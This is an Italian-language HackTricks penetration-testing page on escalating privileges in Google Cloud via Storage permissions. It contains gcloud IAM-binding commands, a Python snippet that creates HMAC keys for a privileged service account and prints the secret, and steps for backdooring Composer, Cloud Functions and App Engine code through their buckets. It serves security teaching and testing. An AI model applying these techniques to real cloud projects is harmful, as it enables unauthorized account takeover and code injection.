# GCP - Storage Privesc

{{#include ../../../banners/hacktricks-training.md}}

## Storage

Informazioni di base:

{{#ref}}
../gcp-services/gcp-storage-enum.md
{{#endref}}

### `storage.objects.get`

Questa autorizzazione ti permette di **scaricare file memorizzati in Cloud Storage**. Questo potenzialmente può permetterti di escalate privileges perché in alcune occasioni **informazioni sensibili sono memorizzate lì**. Inoltre, alcuni servizi GCP memorizzano le loro informazioni in buckets:

- **GCP Composer**: Quando crei un Composer Environment il **codice di tutti i DAGs** sarà salvato dentro un **bucket**. Questi task potrebbero contenere informazioni interessanti all'interno del loro codice.
- **GCR (Container Registry)**: Le **image** dei container sono memorizzate dentro **buckets**, il che significa che se puoi leggere i buckets potrai scaricare le immagini e **cercare leak e/o codice sorgente**.

### `storage.objects.setIamPolicy`

Questa autorizzazione può permetterti di **abusare di uno qualsiasi degli scenari precedenti di questa sezione**.
```bash
# Add binding
gcloud storage objects add-iam-policy-binding gs://<BUCKET_NAME>/<OBJECT_NAME> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role="<ROLE>" \
--project=<PROJECT_ID>

# Remove binding
gcloud storage objects remove-iam-policy-binding gs://<BUCKET_NAME>/<OBJECT_NAME> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role="<ROLE>" \
--project=<PROJECT_ID>

# Change Policy
gcloud storage objects set-iam-policy gs://<BUCKET_NAME>/<OBJECT_NAME> - \
--project=<PROJECT_ID> <<'POLICY'
{
"bindings": [
{
"role": "<ROLE>",
"members": [
"<MEMBER_TYPE>:<MEMBER_IDENTIFIER>"
]
}
]
}
POLICY

```
### **`storage.buckets.setIamPolicy`**

Per un esempio su come modificare i permessi con questo permesso consulta questa pagina:
```bash
# Add binding
gcloud storage buckets add-iam-policy-binding gs://<MY_BUCKET> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role=<ROLE> \
--project=<MY_PROJECT>

# Remove binding
gcloud storage buckets remove-iam-policy-binding gs://<MY_BUCKET> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role=<ROLE> \
--project=<MY_PROJECT>

# Change policy
gcloud storage buckets set-iam-policy gs://<BUCKET_NAME> - \
--project=<PROJECT_ID> <<'POLICY'
{
"bindings": [
{
"role": "<ROLE>",
"members": [
"<MEMBER_TYPE>:<MEMBER_IDENTIFIER>"
]
}
]
}
POLICY

```
{{#ref}}
../gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/gcp-public-buckets-privilege-escalation.md
{{#endref}}

### `storage.hmacKeys.create`

La feature "interoperability" di Cloud Storage, progettata per le **interazioni cross-cloud** come con AWS S3, prevede la **creazione di HMAC keys per Service Accounts e utenti**. Un attacker può sfruttarla **generando un HMAC key per un Service Account con privilegi elevati**, ottenendo così una **escalation dei privilegi all'interno di Cloud Storage**. Mentre gli HMAC keys associati agli utenti sono recuperabili solo tramite il web console, sia gli access and secret keys restano **perpetuamente accessibili**, permettendo di conservarli come backup per l'accesso. Al contrario, gli HMAC keys collegati ai Service Account sono accessibili via API, ma i loro access and secret keys non sono recuperabili dopo la creazione, aggiungendo un livello di complessità per l'accesso continuo.
```bash
# Create key
gsutil hmac create <sa-email> # You might need to execute this inside a VM instance

## If you have TROUBLES creating the HMAC key this was you can also do it contacting the API directly:
PROJECT_ID = '$PROJECT_ID'
TARGET_SERVICE_ACCOUNT = f"exam-storage-sa-read-flag-3@{PROJECT_ID}.iam.gserviceaccount.com"
ACCESS_TOKEN = "$CLOUDSDK_AUTH_ACCESS_TOKEN"
import requests
import json
key = requests.post(
f'https://www.googleapis.com/storage/v1/projects/{PROJECT_ID}/hmacKeys',
params={'access_token': ACCESS_TOKEN, 'serviceAccountEmail': TARGET_SERVICE_ACCOUNT}
).json()
#print(json.dumps(key, indent=4))
print(f'ID: {key["metadata"]["accessId"]}')
print(f'Secret: {key["secret"]}')


# Configure gsutil to use the HMAC key
gcloud config set pass_credentials_to_gsutil false
gsutil config -a

# Use it
gsutil ls gs://[BUCKET_NAME]

# Restore
gcloud config set pass_credentials_to_gsutil true
```
Un altro script di exploit per questo metodo si trova [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).

### `storage.objects.create`, `storage.objects.delete` = Storage Write permissions

Per poter **creare un nuovo oggetto** all'interno di un bucket è necessario `storage.objects.create` e, secondo [the docs](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions), è inoltre necessario `storage.objects.delete` per **modificare** un oggetto esistente.

Un **sfruttamento** molto comune dei bucket su cui si può scrivere nel cloud è quando il **bucket salva file del web server**: potresti essere in grado di **inserire nuovo codice** che verrà utilizzato dall'applicazione web.

### Composer

**Composer** è **Apache Airflow** gestito all'interno di GCP. Ha diverse caratteristiche interessanti:

- Esegue all'interno di un **GKE cluster**, quindi la **SA the cluster uses is accessible** dal codice che gira dentro Composer
- Tutti i componenti di un ambiente composer (**code of DAGs**, plugins and data) sono memorizzati all'interno di un bucket GCP. Se l'attaccante ha permessi di lettura e scrittura su di esso, potrebbe monitorare il bucket e **ogni volta che un DAG viene creato o aggiornato, inviare una versione backdoored** così l'ambiente composer prenderà dalla storage la versione backdoored.

**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)

### Cloud Functions

- Il codice di Cloud Functions è memorizzato in Storage e ogni volta che viene creata una nuova versione il codice viene caricato nel bucket e poi il nuovo container viene costruito da questo codice. Pertanto, **sovrascrivendo il codice prima che la nuova versione venga costruita è possibile far eseguire alla Cloud Function codice arbitrario**.

**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)

### App Engine

Le versioni di AppEngine generano alcuni dati all'interno di un bucket con nome nel formato: `staging.<project-id>.appspot.com`. All'interno di questo bucket è possibile trovare una cartella chiamata `ae` che conterrà una cartella per versione dell'app AppEngine e all'interno di queste cartelle sarà possibile trovare il file `manifest.json`. Questo file contiene un JSON con tutti i file che devono essere usati per creare la specifica versione. Inoltre, è possibile trovare i **nomi reali dei file, l'URL verso di essi all'interno del bucket GCP (i file dentro il bucket hanno cambiato nome con il loro sha1 hash) e l'hash sha1 di ciascun file.**

_Note that it's not possible to pre-takeover this bucket because GCP users aren't authorized to generate buckets using the domain name appspot.com._

Tuttavia, con accesso di lettura e scrittura su questo bucket, è possibile escalare privilegi alla SA associata alla versione di App Engine monitorando il bucket e ogni volta che viene effettuato un cambiamento (nuova versione), modificare la nuova versione il più rapidamente possibile. In questo modo, il container che viene creato da questo codice eseguirà il codice backdoored.

L'attacco menzionato può essere eseguito in molti modi diversi, tutti partono dal monitorare il bucket `staging.<project-id>.appspot.com`:

- Caricare il codice completo della nuova versione di AppEngine in un bucket diverso e disponibile e preparare un **`manifest.json` con il nuovo nome del bucket e gli sha1 hash dei file**. Poi, quando viene creata una nuova versione dentro il bucket, sarà sufficiente modificare il `manifest.json` e caricare quello malevolo.
- Caricare una versione modificata di `requirements.txt` che userà il **codice delle dipendenze malevole e aggiornare il `manifest.json`** con il nuovo filename, URL e hash.
- Caricare un file **`main.py` o `app.yaml` modificato che eseguirà il codice malevolo** e aggiornare il `manifest.json` con il nuovo filename, URL e hash.

**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)

### GCR

- **Google Container Registry** memorizza le immagini all'interno di bucket; se puoi **scrivere in quei bucket** potresti essere in grado di **muoverti lateralmente verso i servizi dove quelle immagini vengono eseguite.**
- Il bucket usato da GCR avrà un URL simile a `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` (I sottodomini di livello superiore sono specificati [here](https://cloud.google.com/container-registry/docs/pushing-and-pulling)).

> [!TIP]
> Questo servizio è deprecato quindi questo attacco non è più utile. Inoltre, Artifact Registry, il servizio che sostituisce questo, non memorizza le immagini in bucket.

## **References**

- [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/#:\~:text=apiKeys.-,create,privileges%20than%20our%20own%20user.](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)

{{#include ../../../banners/hacktricks-training.md}}
